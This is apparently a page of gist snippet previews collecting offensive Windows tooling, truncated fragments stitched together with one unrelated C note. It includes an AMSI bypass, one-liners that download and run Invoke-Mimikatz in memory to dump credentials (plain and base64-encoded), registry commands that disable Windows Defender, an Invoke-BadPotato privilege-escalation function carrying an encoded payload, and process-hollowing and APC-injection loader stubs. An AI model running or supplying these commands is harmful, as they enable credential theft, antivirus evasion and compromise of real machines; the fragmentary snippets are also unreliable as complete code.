bopin2020

/***************
 * Simple Process Hollowing in C# 
 *
 * #Build Your Binaries
 * 		c:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe Hollowing.cs /unsafe
 *  
 *  @author: Michael Gorelik <smgorelik@gmail.com>
 *  gist.github.com/smgorelik/9a80565d44178771abf1e4da4e2a0e75
 * #Most of the code taken from here: @github: github.com/ambray

bopin2020

# Pulled from https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70

# Description: 
#    Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.

# AMSI Bypass (Matt Graeber)
Normal Version
------------------------
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

bopin2020

*NOTE - These pull from public GitHub Repos that are not under my control. Make sure you trust the content (or better yet, make your own fork) prior to using!*

#mimikatz [local]
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-SECURITY/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command privilege::debug; Invoke-Mimikatz -DumpCreds;

#encoded-mimikatz [local]
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AQgBDAC0AUwBFAEMAVQBSAEkAVABZAC8ARQBtAHAAaQByAGUALwBtAGEAcwB0AGUAcgAvAGQAYQB0AGEALwBtAG8AZAB1AGwAZQBfAHMAbwB1AHIAYwBlAC8AYwByAGUAZABlAG4AdABpAGEAbABzAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAiACkAOwAgAEkAbgB2AG8AawBlAC0ATQBpAG0AaQBrAGEAdAB6ACAALQBDAG8AbQBtAGEAbgBkACAAcAByAGkAdgBpAGwAZQBnAGUAOgA6AGQAZQBiAHUAZwA7ACAASQBuAHYAbwBrAGUALQBNAGkAbQ

bopin2020

function Invoke-Mimikatz
{
<#
.SYNOPSIS

This script leverages Mimikatz 2.2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as
dump credentials without ever writing the mimikatz binary to disk.
The script has a ComputerName parameter which allows it to be executed against multiple computers.

This script should be able to dump credentials from any version of Windows through Windows 8.1 that has PowerShell v2 or higher installed.

bopin2020

java -cp .\java-decompiler.jar org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true .\cs_bin\cobaltstrike.jar .\cs_src\

bopin2020

/*
C 
const
static 
static const 区别     
*/

const 表示常量，存储在静态存储区。
static 修饰变量  仅作用在当前文件内

bopin2020

using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;

namespace DinjectorWithQUserAPC
{


    public class Program

bopin2020

### Related to MalwareBytes LazyScripter https://blog.malwarebytes.com/malwarebytes-news/2021/02/lazyscripter-from-empire-to-double-rat
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtime

bopin2020

function Invoke-BadPotato
{

    [CmdletBinding()]
    Param (
        [String]
        $Command = "whoami"

    )
    $a=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String("H4sIAAAAAAAEAMy9CXxb1ZU4fN+T9PQk27Ikb3Jix3JiJ4pjO7LlTUASy5KcOPEW29lIwFFsJRaxJSHJ2RyDUygFCgVKW7YypdCFtpSBLlBoSynd2ylLS1uYgQy0nUKZdqa0/VM6heQ759z3np68BNpv/t/vi/POveecu5x77rnnnnufZPddeCMzMMaM8Jw9y9hXGP/Xyd753xw8tqpHbexLlh9Xf0Xo/XH1yEQs7U6mEodSkSn3WCQeT2TcB6Lu1HTcHYu7QwPD7qnEeLSxoMBao7QxGGasVzCw5d9fP6q2+xJbyfIEL2MvACJzWvxZAG7MCVw6zItcbsayKesUiI7/DKzzvYzZ6X821RL6VwHtDjDe7n2mRQbpFlj+u9DFwnqa6PRPBnyLDm/MRI9lIG35N16WxiouaGJ/YyqdGoM8lw3GJkFyOrdcJ/xvTEUnE1AwX5GZ2vr1gnJd88UcfJanW6h7E/vKdsbG38O1rPT2d/0r8lrYOonqOtJXQgPWFGSTHhdjVvEDsbL1eakfigpe5xTOlBRBv55ywAqchtSryFoGSH7qd5BN5RtYUvYsB4KnAgHWSnUCMRUH4KkEVPasyGFLukpusOzO0iqrG6eCQKlT8IAmpdkZMBlpBuFlVVgVdG317wJW6jps/tsAOPu6ZhgM7wObT18GtYuMTtOZEtClSJWLJIcx9RtVIOrZKRU7TaWJOSi82iHpungRDNVhdEhu1FDp/GGUJkD1Usn5txpVQf4IwCHNE0I6I4FhS+lqFGglgNrEKhzu1aDMRA1204EN9BsVRadrUUqzbrzzgMPsMCdWY/NmlDh1NdZck6v2h4AGpTy52

bopin2020

using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;

namespace Hollowing
{
    public class Loader
    {
        public static byte[] target_ = Encoding.ASCII.GetBytes("calc.exe");